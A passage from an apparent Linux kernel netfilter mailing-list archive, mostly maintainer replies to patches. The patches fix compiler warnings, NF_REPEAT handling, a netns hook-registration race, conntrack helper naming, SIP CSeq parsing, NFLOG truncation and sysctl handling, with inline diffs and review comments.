> + .hdrsize= 0,
> + .name = IPVS_GENL_NAME,
> + .version= IPVS_GENL_VERSION,
> -.maxattr= IPVS_CMD_MAX,
> ++.maxattr= IPVS_CMD_ATTR_MAX,
> + .netnsok= true, /* Make ipvsadm to work on netns */
> + .module = THIS_MODULE,
> + .ops= ip_vs_genl_ops,
> + .n_ops = ARRAY_SIZE(ip_vs_genl_ops),
> + };
> +
> static int __init ip_vs_genl_register(void)
> {
> - return genl_register_family_with_ops(&ip_vs_genl_family,
> - ip_vs_genl_ops);
> + return genl_register_family(&ip_vs_genl_family);
> }
>
> static void ip_vs_genl_unregister(void)
Re: [PATCH 2/2] [nf-next] netfilter: fix NF_REPEAT handling
On Tue, Nov 08, 2016 at 02:28:19PM +0100, Arnd Bergmann wrote:
> gcc correctly identified a theoretical uninitialized variable use:
>
> net/netfilter/nf_conntrack_core.c: In function 'nf_conntrack_in':
> net/netfilter/nf_conntrack_core.c:1125:14: error: 'l4proto' may be used
> uninitialized in this function [-Werror=maybe-uninitialized]
>
> This could only happen when we 'goto out' before looking up l4proto,
> and then enter the retry, implying that l3proto->get_l4proto()
> returned NF_REPEAT. This does not currently get returned in any
> code path and probably won't ever happen, but is not good to
> rely on.
>
> Moving the repeat handling up a little should have the same
> behavior as today but avoids the warning by making that case
> impossible to enter.
>
> Fixes: 08733a0cb7de ("netfilter: handle NF_REPEAT from nf_conntrack_in()")
> Signed-off-by: Arnd Bergmann
> ---
> The patch causing this is currently only in nf-next, and not yet
> in net-next.
> ---
> net/netfilter/nf_conntrack_core.c | 7 +++
> 1 file changed, 3 insertions(+), 4 deletions(-)
>
> diff --git a/net/netfilter/nf_conntrack_core.c
> b/net/netfilter/nf_conntrack_core.c
> index de4b8a75f30b..610c9de0ce18 100644
> --- a/net/netfilter/nf_conntrack_core.c
> +++ b/net/netfilter/nf_conntrack_core.c
> @@ -1337,6 +1337,8 @@ nf_conntrack_in(struct net *net, u_int8_t pf, unsigned
> int hooknum,
> NF_CT_STAT_INC_ATOMIC(net, invalid);
> if (ret == -NF_DROP)
> NF_CT_STAT_INC_ATOMIC(net, drop);
> + if (ret == -NF_REPEAT && tmpl)
> + goto repeat;
This is my fault, I'm going to mangle this patch since 08733a0cb7de
really broke the NF_REPEAT handling. We should inconditionally jump
back to repeat if we get NF_REPEAT, no matter if the template is set
or not. I'll include a side node on this mangling.
> ret = -ret;
> goto out;
> }
> @@ -1349,10 +1351,7 @@ nf_conntrack_in(struct net *net, u_int8_t pf, unsigned
> int hooknum,
>* closed/aborted connection. We have to go back and create a
>* fresh conntrack.
>*/
I'm going to move the comment above on top of the NF_REPEAT check, so
it still keeps around as context.
BTW, the revamped patch looks like the one attached.
Thanks a lot for addressing this fallout.
diff --git a/net/netfilter/nf_conntrack_core.c
b/net/netfilter/nf_conntrack_core.c
index de4b8a75f30b..e9ffe33dc0ca 100644
--- a/net/netfilter/nf_conntrack_core.c
+++ b/net/netfilter/nf_conntrack_core.c
@@ -1337,6 +1337,12 @@ nf_conntrack_in(struct net *net, u_int8_t pf, unsigned
int hooknum,
NF_CT_STAT_INC_ATOMIC(net, invalid);
if (ret == -NF_DROP)
NF_CT_STAT_INC_ATOMIC(net, drop);
+ /* Special case: TCP tracker reports an attempt to reopen a
+* closed/aborted connection. We have to go back and create a
+* fresh conntrack.
+*/
+ if (ret == -NF_REPEAT)
+ goto repeat;
ret = -ret;
goto out;
}
@@ -1344,16 +1350,8 @@ nf_conntrack_in(struct net *net, u_int8_t pf, unsigned
int hooknum,
if (set_reply && !test_and_set_bit(IPS_SEEN_REPLY_BIT, &ct->status))
nf_conntrack_event_cache(IPCT_REPLY, ct);
out:
- if (tmpl) {
- /* Special case: TCP tracker reports an attempt to reopen a
-* closed/aborted connection. We have to go back and create a
-* fresh conntrack.
-*/
- if (ret == NF_REPEAT)
- goto repeat;
- else
- nf_ct_put(tmpl);
- }
+ if (tmpl)
+ nf_ct_put(tmpl);
return ret;
}
Re: [PATCH 1/2] [net-next] udp: provide udp{4,6}_lib_lookup for nf_socket_ipv{4,6}
On Tue, Nov 08, 2016 at 02:28:18PM +0100, Arnd Bergmann wrote:
> Since commit ca065d0cf80f ("udp: no longer use SLAB_DESTROY_BY_RCU")
> the udp6_lib_lookup and udp4_lib_lookup functions are only
> provided when it is actually possible to call them.
>
> However, moving the callers now caused a link error:
>
> net/built-in.o: In function `nf_sk_lookup_slow_v6':
> (.text+0x131a39): undefined reference to `udp6_lib_lookup'
> net/ipv4/netfilter/nf_socket_ipv4.o: In function `nf_sk_lookup_slow_v4':
> nf_socket_ipv4.c:(.text.nf_sk_lookup_slow_v4+0x114): undefined reference to
> `udp4_lib_lookup'
>
> This extends the #ifdef so we also provide the functions when
> CONFIG_NF_SOCKET_IPV4 or CONFIG_NF_SOCKET_IPV6, respectively
> are set.
Applied, thanks Arnd!
Re: [PATCH] net/netfilter: Fix use uninitialized warn in nft_range_eval()
On Mon, Nov 07, 2016 at 08:41:14AM -0700, Shuah Khan wrote: > Fix the following warn: > >CC [M] net/netfilter/nft_range.o > 8601,8605c9105 > net/netfilter/nft_range.c: In function ‘nft_range_eval’: > net/netfilter/nft_range.c:45:5: warning: ‘mismatch’ may be used > uninitialized in this function [-Wmaybe-uninitialized] >if (mismatch) > ^ You probably using an old tree snapshot? This was already fixed by: commit d2e4d593516e877f1f6fb40031eb495f36606e16 Author: Arnd Bergmann Date: Tue Oct 18 00:05:30 2016 +0200 netfilter: nf_tables: avoid uninitialized variable warning The newly added nft_range_eval() function handles the two possible nft range operations, but as the compiler warning points out, any unexpected value would lead to the 'mismatch' variable being used without being initialized:
Re: [PATCH] [v2 netfilter-next] netfilter: nf_tables: fib warnings
On Sat, Oct 29, 2016 at 01:26:12AM +0200, Florian Westphal wrote:
> Arnd Bergmann wrote:
> > The newly added nft fib code produces two warnings:
> >
> > net/ipv4/netfilter/nft_fib_ipv4.c: In function 'nft_fib4_eval':
> > net/ipv4/netfilter/nft_fib_ipv4.c:80:6: error: unused variable 'i'
> > [-Werror=unused-variable]
> > net/ipv4/netfilter/nft_fib_ipv4.c: In function ‘nft_fib4_eval’:
> > net/ipv4/netfilter/nft_fib_ipv4.c:137:6: error: ‘oif’ may be used
> > uninitialized in this function [-Werror=maybe-uninitialized]
> >
> > The first one is obvious as the only user of that variable is
> > inside of an #ifdef
> >
> > The second one is a bit trickier. It's clear that oif is in fact
> > uninitialized when it gets used when neither NFTA_FIB_F_IIF nor
> > NFTA_FIB_F_OIF are set, and just setting it to NULL won't work
> > as it may later get dereferenced.
> >
> > However, there is no need to search the result list if it is
> > NULL, as Florian pointed out. This integrates his (untested)
> > change to do so. I have confirmed that the combined patch
> > solves both warnings, but as I don't fully understand Florian's
> > change, I can't tell if it's correct.
> >
> > Suggested-by: Florian Westphal
> > Fixes: 84f5eedb983e ("netfilter: nf_tables: add fib expression")
> > Signed-off-by: Arnd Bergmann
[...]
> Tested-by: Florian Westphal
Applied, thanks!
Re: [PATCH] netfilter: ip_vs_sync: fix bogus maybe-uninitialized warning
On Fri, Oct 28, 2016 at 01:40:23PM +0200, Simon Horman wrote: > On Fri, Oct 28, 2016 at 11:34:22AM +0200, Pablo Neira Ayuso wrote: > > On Mon, Oct 24, 2016 at 10:47:54PM +0300, Julian Anastasov wrote: > > > > > > Hello, > > > > > > On Mon, 24 Oct 2016, Arnd Bergmann wrote: > > > > > > > Building the ip_vs_sync code with CONFIG_OPTIMIZE_INLINING on x86 > > > > confuses the compiler to the point where it produces a rather > > > > dubious warning message: > > > > > > > > net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘opt.init_seq’ may be > > > > used uninitialized in this function [-Werror=maybe-uninitialized] > > > > struct ip_vs_sync_conn_options opt; > > > > ^~~ > > > > net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘opt.delta’ may be used > > > > uninitialized in this function [-Werror=maybe-uninitialized] > > > > net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘opt.previous_delta’ > > > > may be used uninitialized in this function [-Werror=maybe-uninitialized] > > > > net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘*((void > > > > *)&opt+12).init_seq’ may be used uninitialized in this function > > > > [-Werror=maybe-uninitialized] > > > > net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘*((void > > > > *)&opt+12).delta’ may be used uninitialized in this function > > > > [-Werror=maybe-uninitialized] > > > > net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘*((void > > > > *)&opt+12).previous_delta’ may be used uninitialized in this function > > > > [-Werror=maybe-uninitialized] > > > > > > > > The problem appears to be a combination of a number of factors, > > > > including > > > > the __builtin_bswap32 compiler builtin being slightly odd, having a > > > > large > > > > amount of code inlined into a single function, and the way that some > > > > functions only get partially inlined here. > > > > > > > > I've spent way too much time trying to work out a way to improve the > > > > code, but the best I've come up with is to add an explicit memset > > > > right before the ip_vs_seq structure is first initialized here. When > > > > the compiler works correctly, this has absolutely no effect, but in the > > > > case that produces the warning, the warning disappears. > > > > > > > > In the process of analysing this warning, I also noticed that > > > > we use memcpy to copy the larger ip_vs_sync_conn_options structure > > > > over two members of the ip_vs_conn structure. This works because > > > > the layout is identical, but seems error-prone, so I'm changing > > > > this in the process to directly copy the two members. This change > > > > seemed to have no effect on the object code or the warning, but > > > > it deals with the same data, so I kept the two changes together. > > > > > > > > Signed-off-by: Arnd Bergmann > > > > > > OK, > > > > > > Acked-by: Julian Anastasov > > > > > > I guess, Simon will take the patch for ipvs-next. > > > > @Simon: If you have no more pending updates, I can save you one pull > > request for this small fix by placing this. > > Thanks Pablo, please do. Thanks Simon, feel free to exercise this path anytime. > Signed-off-by: Simon Horman Applied to nf, thanks!
Re: [PATCH] netfilter: ip_vs_sync: fix bogus maybe-uninitialized warning
On Mon, Oct 24, 2016 at 10:47:54PM +0300, Julian Anastasov wrote: > > Hello, > > On Mon, 24 Oct 2016, Arnd Bergmann wrote: > > > Building the ip_vs_sync code with CONFIG_OPTIMIZE_INLINING on x86 > > confuses the compiler to the point where it produces a rather > > dubious warning message: > > > > net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘opt.init_seq’ may be used > > uninitialized in this function [-Werror=maybe-uninitialized] > > struct ip_vs_sync_conn_options opt; > > ^~~ > > net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘opt.delta’ may be used > > uninitialized in this function [-Werror=maybe-uninitialized] > > net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘opt.previous_delta’ may be > > used uninitialized in this function [-Werror=maybe-uninitialized] > > net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘*((void > > *)&opt+12).init_seq’ may be used uninitialized in this function > > [-Werror=maybe-uninitialized] > > net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘*((void *)&opt+12).delta’ > > may be used uninitialized in this function [-Werror=maybe-uninitialized] > > net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘*((void > > *)&opt+12).previous_delta’ may be used uninitialized in this function > > [-Werror=maybe-uninitialized] > > > > The problem appears to be a combination of a number of factors, including > > the __builtin_bswap32 compiler builtin being slightly odd, having a large > > amount of code inlined into a single function, and the way that some > > functions only get partially inlined here. > > > > I've spent way too much time trying to work out a way to improve the > > code, but the best I've come up with is to add an explicit memset > > right before the ip_vs_seq structure is first initialized here. When > > the compiler works correctly, this has absolutely no effect, but in the > > case that produces the warning, the warning disappears. > > > > In the process of analysing this warning, I also noticed that > > we use memcpy to copy the larger ip_vs_sync_conn_options structure > > over two members of the ip_vs_conn structure. This works because > > the layout is identical, but seems error-prone, so I'm changing > > this in the process to directly copy the two members. This change > > seemed to have no effect on the object code or the warning, but > > it deals with the same data, so I kept the two changes together. > > > > Signed-off-by: Arnd Bergmann > > OK, > > Acked-by: Julian Anastasov > > I guess, Simon will take the patch for ipvs-next. @Simon: If you have no more pending updates, I can save you one pull request for this small fix by placing this. Thanks!
Re: [PATCH net-next] nfnetlink_log: Use GFP_NOWARN for skb allocation
On Fri, Oct 07, 2016 at 02:02:16PM -0700, Calvin Owens wrote: > Since the code explicilty falls back to a smaller allocation when the > large one fails, we shouldn't complain when that happens. Applied, thanks.
Re: [PATCH 01/28] [v2] netfilter: nf_tables: avoid uninitialized variable warning
On Tue, Oct 18, 2016 at 12:05:30AM +0200, Arnd Bergmann wrote: > The newly added nft_range_eval() function handles the two possible > nft range operations, but as the compiler warning points out, > any unexpected value would lead to the 'mismatch' variable being > used without being initialized: > > net/netfilter/nft_range.c: In function 'nft_range_eval': > net/netfilter/nft_range.c:45:5: error: 'mismatch' may be used uninitialized > in this function [-Werror=maybe-uninitialized] > > This removes the variable in question and instead moves the > condition into the switch itself, which is potentially more > efficient than adding a bogus 'default' clause as in my > first approach, and is nicer than using the 'uninitialized_var' > macro. Applied to the nf tree, thanks Arnd.
Re: [GIT] Networking
On Wed, Oct 05, 2016 at 03:37:17PM -0700, Linus Torvalds wrote:
> On Wed, Oct 5, 2016 at 3:29 PM, Stephen Rothwell
> wrote:
> >
> > I have been carrying the following merge fix patch (for the merge of
> > the net-next tree with Linus' tree) for a while now which seems to have
> > got missed:
>
> Ugh. It doesn't seem to be a merge error, because that double iph
> assignment came from the original patch that introduced this function:
> commit ddc8b6027ad0 ("netfilter: introduce nft_set_pktinfo_{ipv4,
> ipv6}_validate()").
>
> So I wouldn't call it a merge error - it just looks like a bug in the
> network layer. So I'm not going to apply your patch even though it
> looks plausible to me, simply because it's outside my area of
> expertise.
>
> David? Pablo?
This looks good, please take it so we speed up things.
Acked-by: Pablo Neira Ayuso
Thanks!
P.S: Sorry for not addressing this any sooner, traveling overhead,
conferente and unstable wifi connection has been a problem here.
Re: [PATCH 1/3] netfilter: nf_tables: avoid uninitialized variable warning
On Fri, Sep 30, 2016 at 07:47:49PM +0200, Pablo Neira Ayuso wrote: > On Fri, Sep 30, 2016 at 06:05:34PM +0200, Arnd Bergmann wrote: > > The newly added nft_range_eval() function handles the two possible > > nft range operations, but as the compiler warning points out, > > any unexpected value would lead to the 'mismatch' variable being > > used without being initialized: > > > > net/netfilter/nft_range.c: In function 'nft_range_eval': > > net/netfilter/nft_range.c:45:5: error: 'mismatch' may be used uninitialized > > in this function [-Werror=maybe-uninitialized] > > > > This can be trivially avoided by added a 'default:' clause. > > Applied this patch, I took Aaron's and Pai's patches instead. Looking at this again, I know uninitialized_var() has been discussed as not nice since it can hide bugs behind. But if I fix the existing code to validate priv->op from _init() (this is currently broken), we can probably use this so save extra code in the packet path for a case that is not going to happen. Let me know, thanks!
Re: [PATCH 1/3] netfilter: nf_tables: avoid uninitialized variable warning
On Fri, Sep 30, 2016 at 06:05:34PM +0200, Arnd Bergmann wrote: > The newly added nft_range_eval() function handles the two possible > nft range operations, but as the compiler warning points out, > any unexpected value would lead to the 'mismatch' variable being > used without being initialized: > > net/netfilter/nft_range.c: In function 'nft_range_eval': > net/netfilter/nft_range.c:45:5: error: 'mismatch' may be used uninitialized > in this function [-Werror=maybe-uninitialized] > > This can be trivially avoided by added a 'default:' clause. Applied this patch, I took Aaron's and Pai's patches instead. Thanks anyway for following up on this issue Arnd.
Re: pull-request: wireless-drivers-next 2016-09-29
On Thu, Sep 29, 2016 at 07:57:28PM +0300, Kalle Valo wrote: > Hi Dave, > > this should be the last wireless-drivers-next pull request for 4.9, from > now on only important bugfixes. Nothing really special stands out, > iwlwifi being most active but other drivers also getting attention. More > details in the signed tag. Please let me know if there are any problems. > > Or actually I had one problem. While doing a test merge I noticed that > net-next fails to compile for me, but I don't think this is anything > wireless related: > > CC net/netfilter/core.o > net/netfilter/core.c: In function 'nf_set_hooks_head': > net/netfilter/core.c:96:149: error: 'struct net_device' has no member named > 'nf_hooks_ingress' That's my problem, will be sending a pull request to fix this asap, thanks.
Re: [PATCH RESEND nf] netfilter: avoid a race between nf_register_hook() and cleanup_net()
Hi Eric,
On Sat, Jul 30, 2016 at 08:24:37AM -0500, Eric W. Biederman wrote:
> Michal Kubecek writes:
>
> > There is a race condition between nf_{,un}register_hook() and
> > cleanup_net() which can either trigger WARN check or cause a memory
> > leak. The scenario is like this (2a and 2b are alternatives):
> >
> > 1. cleanup_net() removes one or more struct net from net_namespace_list
> > 2a. nf_register_hook() adds per-netns hooks to all netns (but not those
> > removed in step 1) and adds the hook to global nf_hook_list
> > 2b. nf_unregister_hook() deletes per-netns hooks from all netns (but not
> > those removed in step 1) and removes the hook from nf_hook_list
> > 3. cleanup_net() calls pernet subsystem exit functions for netns being
> > removed; one of them is netfilter_net_exit() which (among others)
> > calls nf_unregister_net_hook() to unregister per-netns hooks for all
> > hooks in nf_hook_list.
> >
> > In case (a), per-netns hooks are never added as the namespace was
> > already invisible to for_each_net() in step 2a but an attempt to remove
> > them in step 3 (the hook is already in nf_hook_list) triggers a WARN
> > check in nf_unregister_net_hook() (no real harm done, however). In case
> > (b), the per-netns hook is removed neither in step 2b (netns is already
> > invisible to for_each_net()) nor in step 3 (the hook is already removed
> > from nf_hook_list), causing a memory leak.
> >
> > Prevent the race by protecting the for_each_net() loop in
> > nf_{,un}register_hook() (also) by net_mutex. There is already a
> > precendens for this in rtnl_link_unregister() which addresses similar
> > race.
>
> So this analysis of a problem appears to be spot on.
>
> Reviewed-by: "Eric W. Biederman"
>
> I really really want there to be a better way to do this, but it is
> really not ok for a hook to continue it's life past
> nf_unregister_net_hook as after that point the code may be removed
> from the kernel (sigh).
>
> Although keeping with the precedent and minimizing net_mutex
> we could remove the WARN and keep nf_register_hook as it is.
> But that sounds entirely too clever for a fix that will
> probably be backported.
>
> But that sounds entirely too clever for a fix that likely needs to be
> backported.
OK... I'm going to place this in the nf.git tree... but this is very ugly.
So Eric, I'd really appreciate if you can follow up once this has hit
nf-next.git and we get rid of the rtnl_lock and net_lock mutex by
propagating up to the the caller the hook registration from init_net()
and unregistering this from exit_net(). So we don't need to loop on
the existing netns but we use the existing netns init and exit
callbacks.
Let me know, thanks.
Re: [PATCH] netfilter: fix spelling mistake: "delimitter" -> "delimiter"
On Thu, Aug 18, 2016 at 04:47:57PM +0100, Colin King wrote: > From: Colin Ian King > > trivial fix to spelling mistake in pr_debug message Applied.
Re: [PATCH v2] netfilter: nf_conntrack_sip: CSeq 0 is a valid CSeq
On Wed, Aug 03, 2016 at 12:41:40PM +0200, Christophe Leroy wrote: > Do not drop packet when CSeq is 0 as 0 is also a valid value for CSeq. > > simple_strtoul() will return 0 either when all digits are 0 > or if there are no digits at all. Therefore when simple_strtoul() > returns 0 we check if first character is digit 0 or not. Applied, thanks.
Re: [PATCH RESEND nf] netfilter: avoid a race between nf_register_hook() and cleanup_net()
On Sat, Jul 30, 2016 at 08:24:37AM -0500, Eric W. Biederman wrote:
> Michal Kubecek writes:
>
> > There is a race condition between nf_{,un}register_hook() and
> > cleanup_net() which can either trigger WARN check or cause a memory
> > leak. The scenario is like this (2a and 2b are alternatives):
> >
> > 1. cleanup_net() removes one or more struct net from net_namespace_list
> > 2a. nf_register_hook() adds per-netns hooks to all netns (but not those
> > removed in step 1) and adds the hook to global nf_hook_list
> > 2b. nf_unregister_hook() deletes per-netns hooks from all netns (but not
> > those removed in step 1) and removes the hook from nf_hook_list
> > 3. cleanup_net() calls pernet subsystem exit functions for netns being
> > removed; one of them is netfilter_net_exit() which (among others)
> > calls nf_unregister_net_hook() to unregister per-netns hooks for all
> > hooks in nf_hook_list.
> >
> > In case (a), per-netns hooks are never added as the namespace was
> > already invisible to for_each_net() in step 2a but an attempt to remove
> > them in step 3 (the hook is already in nf_hook_list) triggers a WARN
> > check in nf_unregister_net_hook() (no real harm done, however). In case
> > (b), the per-netns hook is removed neither in step 2b (netns is already
> > invisible to for_each_net()) nor in step 3 (the hook is already removed
> > from nf_hook_list), causing a memory leak.
> >
> > Prevent the race by protecting the for_each_net() loop in
> > nf_{,un}register_hook() (also) by net_mutex. There is already a
> > precendens for this in rtnl_link_unregister() which addresses similar
> > race.
>
> So this analysis of a problem appears to be spot on.
>
> Reviewed-by: "Eric W. Biederman"
>
>
> I really really want there to be a better way to do this, but it is
> really not ok for a hook to continue it's life past
> nf_unregister_net_hook as after that point the code may be removed
> from the kernel (sigh).
>
> Although keeping with the precedent and minimizing net_mutex
> we could remove the WARN and keep nf_register_hook as it is.
> But that sounds entirely too clever for a fix that will
> probably be backported.
>
> But that sounds entirely too clever for a fix that likely needs to be
> backported.
Please, propagate up to the caller to register and unregister the
hooks from init_net and exit_net instead as I suggested time ago.
I understand that this is not as small as this patch, and that this
will require a bit more boiler plate code in iptable_*.c and nftables
itself, but we'll avoid the dependencies with both rtnl_lock and
net_lock.
Thanks.
Re: 答复: [PATCH 1/1] netfilter: Add helper array register/unregister functions
On Wed, Jul 20, 2016 at 08:31:13AM +0800, 高峰 wrote: > Thanks Pablo. > > I had used the script "checkpatch.pl" to check the patch file. > There was no indentation error reported. > > So could you give me more tails please or point one indentation error? > Then I could correct it by myself next time. I'm refering to this specifically: static int function(int parameter1, struct another_structure *blah, int parameter2, unsigned int parameter3); ^ It is just a comestic issue, but we consistently align function parameters to the initial parens. As I said, I have just manually fixed this here, so no problem, just keep this in mind for the next time. Another observation: You should bump patch version numbering in each revision and keep some history on its evolution. The area after the patch separator --- and before diff stats is good to place volatile information that is only meaningful to the review process, I mean something like this: subsystem: Patch title. Patch description... Signed-off-by: Lucas Skywalker --- v3: Address comments from Chebakia on possible backward compatibility issues. v2: New parameter to control something. v1: Initial patch. include/net/netfilter/nf_tables.h | 25 ++- ... diff --git a/include/net/netfilter/nf_tables.h b/include/net/netfilter/nf_tables.h Thanks.
Re: 答复: [PATCH 1/1] netfilter: Add helper array register/unregister functions
On Wed, Jul 20, 2016 at 09:02:52AM +0800, 高峰 wrote: > Oh, thanks Liping. > I have not found the extra port styles are different of irc, sane and tftp > with ftp. > > Hi Pablo, > Then should I modify the original patch or send a new one? No need to resend, I have just sent an amendement that I'm planning to merge to your patch, will update the description to add a note on this.
Re: [PATCH 1/1] netfilter: Add helper array register/unregister functions
On Wed, Jul 20, 2016 at 08:51:17AM +0800, Liping Zhang wrote:
> 2016-07-18 11:39 GMT+08:00 :
> > From: Gao Feng
> >
> > Add nf_ct_helper_init, nf_conntrack_helpers_register/unregister
> > functions to enhance the conntrack helper codes.
>
> I think this patch is breaking something ...
>
> This irc:
> > - if (ports[i] == IRC_PORT)
> > - sprintf(irc[i].name, "irc");
> > - else
> > - sprintf(irc[i].name, "irc-%u", i);
> > -
> > - ret = nf_conntrack_helper_register(&irc[i]);
> > + nf_ct_helper_init(&irc[i], AF_INET, IPPROTO_TCP, "irc",
> > + IRC_PORT, ports[i], &irc_exp_policy, 0, 0,
> > + help, NULL, THIS_MODULE);
> > + }
>
> This sip:
> > - if (ports[i] == SIP_PORT)
> > - sprintf(sip[i][j].name, "sip");
> > - else
> > - sprintf(sip[i][j].name, "sip-%u", i);
>
> And this tftp:
> > - if (ports[i] == TFTP_PORT)
> > - sprintf(tftp[i][j].name, "tftp");
> > - else
> > - sprintf(tftp[i][j].name, "tftp-%u", i);
>
> For example, if the user install the nf_conntrack_tftp module an
> specify the ports to "69,10069",
> then the helper name is "tftp" and "tftp-1".
>
> But apply this patch, the helper name will be changed to "tftp" and
> "tftp-10069", this may break the
> existing iptables rules which used the helper match or CT target.
>
> And this was already discussed at
> https://patchwork.ozlabs.org/patch/622238/
Thanks for spotting this.
I'm going to collapse this patch that I'm attaching to Feng's work to
address this.
diff --git a/include/net/netfilter/nf_conntrack_helper.h
b/include/net/netfilter/nf_conntrack_helper.h
index 778f1fc..1eaac1f 100644
--- a/include/net/netfilter/nf_conntrack_helper.h
+++ b/include/net/netfilter/nf_conntrack_helper.h
@@ -60,7 +60,7 @@ struct nf_conntrack_helper
*nf_conntrack_helper_try_module_get(const char *name,
u8 protonum);
void nf_ct_helper_init(struct nf_conntrack_helper *helper,
u16 l3num, u16 protonum, const char *name,
- u16 default_port, u16 spec_port,
+ u16 default_port, u16 spec_port, u32 id,
const struct nf_conntrack_expect_policy *exp_pol,
u32 expect_class_max, u32 data_len,
int (*help)(struct sk_buff *skb, unsigned int protoff,
diff --git a/net/netfilter/nf_conntrack_ftp.c b/net/netfilter/nf_conntrack_ftp.c
index d47ada9..4314700 100644
--- a/net/netfilter/nf_conntrack_ftp.c
+++ b/net/netfilter/nf_conntrack_ftp.c
@@ -601,12 +601,12 @@ static int __init nf_conntrack_ftp_init(void)
are tracked or not - YK */
for (i = 0; i < ports_c; i++) {
nf_ct_helper_init(&ftp[2 * i], AF_INET, IPPROTO_TCP, "ftp",
- FTP_PORT, ports[i], &ftp_exp_policy, 0,
- sizeof(struct nf_ct_ftp_master), help,
+ FTP_PORT, ports[i], ports[i], &ftp_exp_policy,
+ 0, sizeof(struct nf_ct_ftp_master), help,
nf_ct_ftp_from_nlattr, THIS_MODULE);
nf_ct_helper_init(&ftp[2 * i + 1], AF_INET6, IPPROTO_TCP, "ftp",
- FTP_PORT, ports[i], &ftp_exp_policy, 0,
- sizeof(struct nf_ct_ftp_master), help,
+ FTP_PORT, ports[i], ports[i], &ftp_exp_policy,
+ 0, sizeof(struct nf_ct_ftp_master), help,
nf_ct_ftp_from_nlattr, THIS_MODULE);
}
diff --git a/net/netfilter/nf_conntrack_helper.c
b/net/netfilter/nf_conntrack_helper.c
index ed6c0e5..b989b81 100644
--- a/net/netfilter/nf_conntrack_helper.c
+++ b/net/netfilter/nf_conntrack_helper.c
@@ -467,7 +467,7 @@ EXPORT_SYMBOL_GPL(nf_conntrack_helper_unregister);
void nf_ct_helper_init(struct nf_conntrack_helper *helper,
u16 l3num, u16 protonum, const char *name,
- u16 default_port, u16 spec_port,
+ u16 default_port, u16 spec_port, u32 id,
const struct nf_conntrack_expect_policy *exp_pol,
u32 expect_class_max, u32 data_len,
int (*help)(struct sk_buff *skb, unsigned int protoff,
@@ -490,8 +490,7 @@ void nf_ct_helper_init(struct nf_conntrack_helper *helper,
if (spec_port == default_port)
snprintf(helper->name, sizeof(helper->name), "%s", name);
else
- snprintf(helper->name, sizeof(helper->name), "%s-%u", name,
-spec_port);
Re: [PATCH 1/1] netfilter: Add helper array register/unregister functions
On Mon, Jul 18, 2016 at 11:39:23AM +0800, f...@ikuai8.com wrote: > From: Gao Feng > > Add nf_ct_helper_init, nf_conntrack_helpers_register/unregister > functions to enhance the conntrack helper codes. Applied, thanks. I have manually updated indentations to make it fit to our coding style, btw.
Re: [PATCH 2/2] netfilter: add missing macro
On Fri, Jul 08, 2016 at 05:29:11PM +0100, Eric Engestrom wrote: > Signed-off-by: Eric Engestrom > --- > > This can't compile without this macro… Is this header really used by anyone? > Should it be removed, to avoid bit-rot? Probably better to define something like: #define SCTP_BITMAP_LEN (256 / sizeof (u_int32_t)) and use it consistently all around the code, so we can get rid of these ARRAY_SIZE() from the uapi header. > --- > include/uapi/linux/netfilter/xt_sctp.h | 2 ++ > 1 file changed, 2 insertions(+) > > diff --git a/include/uapi/linux/netfilter/xt_sctp.h > b/include/uapi/linux/netfilter/xt_sctp.h > index 58ffcfb..e4410db 100644 > --- a/include/uapi/linux/netfilter/xt_sctp.h > +++ b/include/uapi/linux/netfilter/xt_sctp.h > @@ -3,6 +3,8 @@ > > #include > > +#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof(arr)[0]) > + > #define XT_SCTP_SRC_PORTS0x01 > #define XT_SCTP_DEST_PORTS 0x02 > #define XT_SCTP_CHUNK_TYPES 0x04 > -- > 2.9.0 >
Re: [PATCH v2] netfilter: nf_log: fix error on write NONE to logger choice sysctl
On Fri, Jul 01, 2016 at 04:53:54PM +0300, Pavel Tikhomirov wrote: > It is hard to unbind nf-logger: > > echo NONE > /proc/sys/net/netfilter/nf_log/0 > bash: echo: write error: No such file or directory > > sysctl -w net.netfilter.nf_log.0=NONE > sysctl: setting key "net.netfilter.nf_log.0": No such file or directory > net.netfilter.nf_log.0 = NONE > > You need explicitly send '\0', for instance like: > > echo -e "NONE\0" > /proc/sys/net/netfilter/nf_log/0 > > That seem to be strange, so fix it using proc_dostring. > > Now it works fine: >modprobe nfnetlink_log >echo nfnetlink_log > /proc/sys/net/netfilter/nf_log/0 >cat /proc/sys/net/netfilter/nf_log/0 >nfnetlink_log >echo NONE > /proc/sys/net/netfilter/nf_log/0 >cat /proc/sys/net/netfilter/nf_log/0 >NONE Applied, thanks.
Re: [PATCH v3] netfilter/nflog: nflog-range does not truncate packets (userspace)
On Fri, Jun 24, 2016 at 04:42:31PM -0400, Vishwanath Pai wrote: > Added tests to libxt_NFLOG.t for the new option --nflog-size > > -- > > netfilter/nflog: nflog-range does not truncate packets > > The option --nflog-range has never worked, but we cannot just fix this > because users might be using this feature option and their behavior would > change. Instead add a new option --nflog-size. This option works the same > way nflog-range should have, and both of them are mutually exclusive. When > someone uses --nflog-range we print a warning message informing them that > this feature has no effect. > > To indicate the kernel that the user has set --nflog-size we have to pass a > new flag XT_NFLOG_F_COPY_LEN. > > Also updated the man page to reflect the new option and added tests to > extensions/libxt_NFLOG.t Applied to iptables userspace, thanks.
Re: [PATCH] netfilter: Remove references to obsolete CONFIG_IP_ROUTE_FWMARK
On Thu, Jun 30, 2016 at 11:46:28AM +0200, Moritz Sichert wrote:
> This option was removed in commit 47dcf0cb1005 ("[NET]: Rethink mark field
> in struct flowi").
Applied, thanks.
Re: [PATCH] etherdevice.h & bridge: netfilter: Add and use ether_addr_equal_masked
